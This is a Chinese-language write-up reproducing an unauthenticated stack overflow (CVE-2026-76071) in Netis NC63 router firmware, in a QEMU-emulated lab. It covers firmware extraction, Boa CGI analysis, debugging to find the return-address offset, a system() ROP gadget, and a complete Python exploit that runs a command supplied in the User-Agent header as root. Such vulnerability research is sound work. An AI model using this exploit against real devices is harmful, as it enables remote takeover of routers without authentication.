1、CVE官网漏洞描述
编号:CVE-2026-76071
标题:Netis NC63 V3.0.0.3327 中的堆栈缓冲区溢出问题,由 destHost 参数引起
描述:通过 V3.0.0.3327 版本更新的 Netis NC63 固件存在基于堆栈的缓冲区溢出漏洞。该漏洞使得未经认证的远程攻击者可通过向 netis.cgi 中的 ipFilterList=mod 操作提供过大的 destHost 参数,从而覆盖保存的堆栈状态。攻击者可以利用无限制的 sscanf 函数进行攻击,将用户提供的输入复制到固定大小的堆栈缓冲区中,从而在认证验证之前执行恶意代码。最终,攻击者可以以 root 用户的权限实现远程代码执行,因为 Boa Web 服务器以 root 权限运行CGI 环境。
固件下载地址:https://www.netis-systems.com/support/downinfo.html?id=35
2、提取文件系统
分析固件
binwalk netis_NC63_V3.0.0.3327.bin

提取文件系统
binwalk -Me netis_NC63_V3.0.0.3327.bin

unsquashfs -d rootfs 25A822.squashfs

2、信息收集
识别架构
checksec --file=./bin/busybox

可以发现是MIPS32位小端架构,Got表可以写,没有栈溢出保护,栈可以执行,没有开启地址随机化。
3、分析启动项
查看inittab文件
/etc/inittab 是 Linux 传统 init 系统的启动配置文件,可以理解为系统开机后的“启动流程调度表”。
所以我们首先查看目录 /squashfs-root/etc/下的inittab文件

Boot-time system configuration/initialization script.//说明这是系统启动时的配置/初始化脚本
::sysinit:/etc/init.d/rcS //系统初始化阶段:开机首先执行 /etc/init.d/rcS 脚本,用于启动网络、Web服务等核心服务
查看rcS脚本
cat etc/init.d/rcS

前面的所有代码都在做准备工作(自检与恢复),这里是系统服务的入口 /bin/script/startup.s
& 代表后台运行,rcS 脚本直接退出,剩下所有初始化都在 startup.sh脚本。
查看startup.sh脚本
cat bin/script/startup.sh

看到报错,我们去这个目录下看一下这个脚本的文件详细属性
使用命令
ls -l bin/script/startup.sh

startup.sh 并不是一个独立文件,它只是一个快捷方式。这个快捷方式指向的文件,是固件系统内的绝对路径 /bin/script/cscripts,进下来我们去分析这个文件。
IDA分析cscripts文件
通过搜索相关web服务的字符串,例如httpd Boa Lighttpd GoAhead等

RunSystemCmd("boa&"):可以发现这个设备启动后运行了Boa Web 服务。
接下来我们去分析boa服务相关文件。
分析boa服务
grep -r boa

gedit etc/boa/boa.conf



这个 Boa 服务器网页放在 /web,CGI 脚本能调用 /bin 等目录程序,并且整体以 root 权限跑
4、系统模拟
qemu系统模拟
qemu-system-mipsel \
-M malta \
-cpu 74Kf \
-kernel /home/iotsec-zone/Desktop/Tools/qemu-images/mipsel/vmlinux-3.2.0-4-4kc-malta \
-hda /home/iotsec-zone/Desktop/Tools/qemu-images/mipsel/debian_wheezy_mipsel_standard.qcow2 \
-append "root=/dev/sda1 console=ttyS0" \
-net nic -net tap,ifname=tap0,script=no,downscript=no \
-nographic
配置网络
#宿主机 sudo tunctl -t tap0 -u `whoami`
sudo ifconfig tap0 192.168.10.1/24 up
#虚拟机
ip link add br0 type dummy
ifconfig eth0 192.168.10.2/24
ifconfig br0 192.168.10.3/24

文件传输
#宿主机
tar -cvf web.tar.gz rootfs/
python -m http.server
#虚拟机
wget http://192.168.10.1:8000/web.tar.gz
tar -xvf web.tar.gz

文件挂载/各项配置
#挂载虚拟文件系统
cd rootfs/
mount --bind /proc/ proc/
mount --bind /sys/ sys/
mount -t tmpfs tmpfs dev
mknod -m 666 dev/null c 1 3
mknod -m 666 dev/zero c 1 5
mknod -m 666 dev/urandom c 1 9
mknod -m 666 dev/random c 1 8
mknod -m 666 dev/tty c 5 0
mknod -m 666 dev/console c 5 1
chroot . sh
#解压网站文件
mkdir -p /var/web
tar -xzf home/web.tar.gz -C /var
#补充运行目录
mkdir /var/tmp
mkdir /var/web
mkdir /var/log
mkdir /var/run
mkdir /var/lock
mkdir /var/system
mkdir /var/dnrd
mkdir /var/lib
mkdir /var/lib/misc
mkdir /var/home
mkdir /var/root
#补充root用户
echo 'root::0:0:root:/:/bin/sh' > /var/passwd
echo 'nobody:x:0:0:nobody:/:/dev/null' >> /var/passwd
echo 'root:x:0:' > /var/group
chmod 755 /var/passwd /var/group
启动boa服务并验证
chroot . sh
./bin/boa

打开192.168.10.3,可以看到模拟成功。
5、分析漏洞点
分析情报
漏洞在Boa内置虚拟路由netis.cgi,ipFilterList=mod这个操作分支里
find . -name "netis.cgi"

抓包请求验证
我们尝试使用 BurpSuite 抓取访问路由器 Web 管理后台的流量,以确定漏洞请求哪个 CGI 路径以及携带哪些参数,从而定位认证前可触发的 CGI 攻击面。

strings ./bin/netis.cgi | grep skk_get.cgi

说明skk_get.cgi存在于netis.cgi中,也会被netis.cgi调用。
分析netis.cig
搜索相关的cgi字符串
最终通过main --> sub_405244 --> sub_405300 --> &off_434080 拿到路由表

skk_set.cgi→0x4138A0
接下来打开这个函数

这个函数是 skk_set 相关 CGI 的顶层结果处理/分发函数,负责调用底层配置写入逻辑,并根据返回码 做不同的后续动作(更新配置、重启、输出 JSON 响应)。
状态码包装 0/126→["SUCCESS"],127→reboot,129→["LOCK"],其他→["%d"]
打开sub_4134C8函数


最终到达危险函数 sub_40F7F4


分析溢出点
sscanf(v16, "%d,%[^,],%[^,]", &v24, v28, v29);
漏洞点:sscanf:从指定的字符串(比如 HTTP 请求参数)中读取数据。
- v16:用户可控的输入
%[^,]:读到逗号才停,不限制长度- v28、v29 是栈上固定大小缓冲区,只有16字节
- 输入不带逗号、内容超长 → 直接写爆缓冲区,栈溢出
总结:sscanf 用 %[^,] 读用户输入,没限制长度,长数据直接把栈缓冲区撑爆,对v29数据实行溢出覆盖,继续覆盖栈上的其他变量,直到淹没保存的 $RA(函数返回地址)。
栈图
--低地址--
v28[16] ← 第二段
v29[16] ← 第三段
...其他栈变量...
保存的 $fp
保存的 $ra
--高地址--
6、动调测试漏洞
清锁

厂商本意:配置写入是危险操作,用锁文件防止多个请求同时写。
副作用:我们调试时每崩溃一次,锁可能就残留一次;
所以每测一轮都要:
rm -rf /tmp/lock_all.lock
开始调试
ssh连接虚拟机
ssh [email protected]
首先查看一下boa的进程
ps -aux

可以看到boa的进程是2461
/root/gdbserver7 :9999 --attach 2461

使用pwndbg进行动调
pwndbg-mips ./netis.cgi
接下来输入
set follow-fork-mode child // boa每收到一个请求就fork一个子进程,让gdb跟进子进程
set detach-on-fork off //set detach-on-fork off跟进子进程时别把boa父进程扔了
catch exec //子进程exec成netis.cgi的那一瞬间停下来
target remote 192.168.10.3:9999 //连上 gdbserver

成功进入调试界面
接下来按c,被暂停的 boa 继续跑,开始等请求
我们发送编写的exp脚本,exp中用150 字节特殊字符串来测栈溢出,找到从哪一字节开始覆盖返回地址。
import requests
url = "http://192.168.10.3/cgi-bin/skk_set.cgi"
component = (
b"aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaata"
b"aauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabma"
)
post = {
"ipFilterList": "mod",
"id": "1",
"destHost": f"1,0.0.0.0,{component.decode()}",
"proto": "0",
"port": "1-1",
"day": "1",
"time": "all",
}
res = requests.post(url, data=post, timeout=2)
发送完攻击脚本接着按c 可以发现程序崩溃了


说明了缓冲区距离覆盖$RA的偏移量是 112字节,覆盖$fp的偏移量就是108字节。
7、构造rce
关掉 ASLR
echo 0 > /proc/sys/kernel/randomize_va_space
作用 :把内核的地址随机化功能关掉,让程序每次启动时栈、堆、库的内存地址都固定在同一个位置。

注意:$ra和$fp是可控的,但是直接跳system不可行,因为$a0不是我们用户可控的,所以我们在这个netis.cgi文件里面搜索system交叉引用来构造ROP。
搜索system函数交叉引用查看调用者


找到一块合适的gadget
这里t8 = fp + 0xA0,a0 = t8 其中a0也就是system 的第一个参数,最后又调用system函数。
其实整体也就是 system($fp + 0xA0)这个命令。
所以我们如果把ra填 0x0040BB04就能跳到这个指令的地方,然后$fp+0xA0处写上我们想要执行的命令字符串的地址。
也就是fp处写:命令字符串地址-0xA0
寻找合适的字符串地址
我们需要一块内存满足两个条件: 1. 内容可控; 2. 地址可知
通过学习我们了解到

那我们就开始动调 查看一下User-Agent这个地址 以及最终如何构造最终的exp,也就是搜到 HTTP_USER_AGENT 的地址。
我们启动boa服务,然后开pwndbg进行调试和之前一样
并准备一个探测包
import requests, sys
HOST = '192.168.10.3'
URL = 'http://%s/cgi-bin/skk_set.cgi' % HOST
user_cmd = sys.argv[1] if len(sys.argv) > 1 else 'echo "get_shell">/cmd.txt'
cmd = user_cmd.rstrip(';') + ';rm -f /tmp/lock_all.lock;'
assert len(cmd) <= 96, 'cmd too long (max 96), current=%d' % len(cmd)
ua = cmd + '#' * (96 - len(cmd))
FP = sys.argv[2] if len(sys.argv) > 2 else '%42%42%42%42' # 占位符 BBBB
body = ('ipFilterList=mod&id=1&destHost=1,0.0.0.0,'
+ 'A' * 108 + FP + '%04%BB%40').encode()
sess = requests.Session()
sess.headers.clear()
sess.headers.update({'User-Agent': ua,
'Content-Type': 'application/x-www-form-urlencoded'})
try:
r = sess.post(URL, data=body, timeout=30)
print('[*] resp:', r.status_code, repr(r.text[:60]))
except requests.exceptions.RequestException as e:
print('[*] exc:', type(e).__name__)
按c
接着发包
telescope $sp 20

HTTP_USER_AGENT= 字符串地址 = 0x7fff6e70
这个是16个字节,所以命令地址在 +16 处: 命令第一个字节地址 = 0x7fff6e70 + 16 = 0x7fff6e80
$fp = 命令地址 − 0xA0: 0x7fff6e80− 0xA0 = 0x7fff6de0
$fp = 0x7fff6de0 → 小端 4 字节: 0x7fff6de0 -> e0 6d ff 7f → 写成: '%E0%6D%FF%7F'
$ra = 0x40BB04 → 写 '%04%BB%40'
构造exp
#!/usr/bin/env python3
# CVE-2026-76071 exp
import requests, sys, subprocess
HOST = '192.168.10.3'
URL = 'http://%s/cgi-bin/skk_set.cgi' % HOST
user_cmd = sys.argv[1] if len(sys.argv) > 1 else 'echo "get_shell">/cmd.txt'
cmd = user_cmd.rstrip(';') + ';rm -f /tmp/lock_all.lock;'
assert len(cmd) <= 96, 'cmd too long (max 96), current=%d' % len(cmd)
ua = cmd + '#' * (96 - len(cmd))
body = ('ipFilterList=mod&id=1&destHost=1,0.0.0.0,'
+ 'A' * 108 + '%E0%6D%FF%7F' + '%04%BB%40').encode()
sess = requests.Session()
sess.headers.clear()
sess.headers.update({
'User-Agent': ua,
'Content-Type': 'application/x-www-form-urlencoded'
})
try:
r = sess.post(URL, data=body, timeout=30)
print('[*] resp:', r.status_code, repr(r.text[:60]))
except requests.exceptions.RequestException as e:
pass
UA恒96字节就是把 User-Agent 的总长度钉死,让栈顶布局固定。命令短了就用#补齐,命令长了直接assert拒绝。这样无论你执行什么命令,栈顶布局永远不变,且都能执行成功。
不传参数 → 默认命令→ echo "get_shell">/cmd.txt
python nn.py
想执行别的命令 → 直接作为第一个参数传入
python nn.py 'echo "get">/shell.txt'

复现成功。